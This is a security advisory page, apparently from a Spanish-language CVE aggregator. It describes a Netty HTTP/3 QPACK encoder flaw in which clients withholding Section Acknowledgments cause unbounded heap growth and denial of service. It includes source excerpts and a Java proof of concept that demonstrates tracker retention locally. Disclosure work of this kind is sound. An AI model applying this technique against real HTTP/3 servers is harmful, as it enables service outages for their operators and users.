GHSA-495P-PCHH-R4MC
QpackEncoder retains unbounded per-stream dynamic-table trackers when a peer withholds Section Acknowledgments
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 4.2.18.Final | io.netty:netty-codec-http3 · -1 d desde divulgación | |
| Divulgación | Publicada | GHSA-495P-PCHH-R4MC divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Netty's HTTP/3 `QpackEncoder` retains one queue and one dynamic-table index tracker for every encoded field section that references the QPACK dynamic table. These objects are removed only when the remote decoder sends a Section Acknowledgment or Stream Cancellation instruction. There is no limit on the number of tracked streams, total field sections, index arrays, or retained bytes.
A malicious HTTP/3 client can advertise a non-zero QPACK dynamic-table capacity, cause the server to emit a repeatable dynamically indexed response header, acknowledge receipt of the table insertion, and then omit all mandatory per-response Section Acknowledgments. By opening and completing requests sequentially, the client bypasses the concurrent-stream limit while growing `streamSectionTrackers` for the lifetime of one QUIC connection until the server exhausts its heap.
Details
`Http3FrameCodec` invokes `QpackEncoder.encodeHeaders(...)` for response header and trailer field sections. For every dynamic-table reference, `QpackEncoder` builds an `Indices` object. It then inserts that object into a map keyed by the peer-controlled QUIC stream ID:
private LongObjectHashMap<Queue<Indices>> streamSectionTrackers;
// Track all the indices that we need to ack later.
if (dynamicTableIndices != null) {
assert streamSectionTrackers != null;
streamSectionTrackers.computeIfAbsent(streamId, __ -> new ArrayDeque<>())
.add(dynamicTableIndices);
}The map entry is removed only by instructions received on the peer's QPACK decoder stream:
void sectionAcknowledgment(long streamId) throws QpackException {
final Queue<Indices> tracker = streamSectionTrackers.get(streamId);
// ...
if (tracker.isEmpty()) {
streamSectionTrackers.remove(streamId);
}
}
void streamCancellation(long streamId) throws QpackException {
final Queue<Indices> tracker = streamSectionTrackers.remove(streamId);
// ...
}Normal completion of the local HTTP/3 request stream does not remove the tracker. This is necessary for a compliant decoder, because a closed stream can still have an outstanding field-section acknowledgment, but it means a malicious decoder controls reclamation. The peer can send one valid Insert Count Increment so the server knows the dynamic entry arrived and can reuse it on every later response, while indefinitely withholding the separate Section Acknowledgments that release the references.
`SETTINGS_QPACK_BLOCKED_STREAMS` does not bound this state. Once the insertion is known to the decoder, later field sections referencing that entry do not risk blocking, yet Netty still records an acknowledgment tracker for every stream. QUIC's concurrent bidirectional-stream limit also does not help because the attack completes each request before opening the next one.
RFC 9204 section 2.2.2 https://www.rfc-editor.org/rfc/rfc9204.html#section-2.2.2 explicitly identifies the encoder memory used to track dynamic-table references in unacknowledged field sections and says implementations can limit the number of references they are willing to track. Netty applies no such limit or timeout.
No Netty advisory, public issue, pull request, or commit describing this encoder-side unacknowledged-field-section growth was found as of 2026-08-01. It is distinct from the publicly assigned CVE-2026-48748: that issue bounded streams retained by the QPACK decoder while waiting for missing encoder insertions; this issue exhausts the QPACK encoder by withholding decoder acknowledgments after successfully receiving the insertions.
PoC
The bounded release PoC uses the package-private production encoder from the Maven Central `4.2.16.Final` JAR, feeds a valid Insert Count Increment after the first response, and intentionally omits every Section Acknowledgment:
QpackEncoder encoder = new QpackEncoder(QpackSensitivityDetector.NEVER_SENSITIVE);
encoder.configureDynamicTable(attributes, 4096, 100);
EmbeddedChannel peerDecoderInstructions =
new EmbeddedChannel(new QpackDecoderHandler(encoder));
Http3Headers headers = new DefaultHttp3Headers()
.add("x-qpack-retain", "constant-value");
for (long stream = 0; stream < 25_000; stream++) {
long streamId = stream << 2; // client-initiated bidirectional stream
ByteBuf encoded = UnpooledByteBufAllocator.DEFAULT.buffer();
encoder.encodeHeaders(attributes, encoded,
UnpooledByteBufAllocator.DEFAULT, streamId, headers);
encoded.release();
if (stream == 0) {
// Feed a valid 0b00xxxxxx QPACK decoder-stream Insert Count
// Increment instruction with increment=1 to QpackDecoderHandler.
peerDecoderInstructions.writeInbound(
Unpooled.wrappedBuffer(new byte[] { 0x01 }));
}
// Deliberately do not call sectionAcknowledgment(streamId).
}
Field field = QpackEncoder.class.getDeclaredField("streamSectionTrackers");
field.setAccessible(true);
Object trackers = field.get(encoder);
int retained = (Integer) trackers.getClass().getMethod("size").invoke(trackers);
System.out.println("retained trackers=" + retained);Compile the complete `QpackRetentionPoC.java` against the Maven Central `io.netty:netty-codec-http3:4.2.16.Final` artifact and run:
java io.netty.handler.codec.http3.QpackRetentionPoCObserved output:
Netty artifact: netty-codec-http3-4.2.16.Final.jar
QPACK: 25,000 completed streams without Section Acknowledgment leave 25,000 retained trackersThe PoC cancels all 25,000 tracked stream IDs after measuring them so the test itself remains bounded. Omitting that cleanup and increasing the stream count produces linear, connection-lifetime heap growth.
Impact
An unauthenticated remote HTTP/3 client can cause unbounded heap retention in a Netty server that emits at least one repeatable, non-sensitive response header eligible for QPACK dynamic indexing. A single long-lived QUIC connection can grow the map across sequentially completed requests, eventually causing excessive garbage-collection pressure, `OutOfMemoryError`, or process-wide denial of service. The attack does not require many simultaneously active streams, malformed request frames, or high per-request bandwidth.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
mavenio.netty:netty-codec-http3 |
Corregida | 4.2.18.Final | -1 d | 4.2.20.Final no afectada |
4.2.18.FinalArsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/netty/netty/security/advisories/GHSA-495p-pchh-r4mcLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
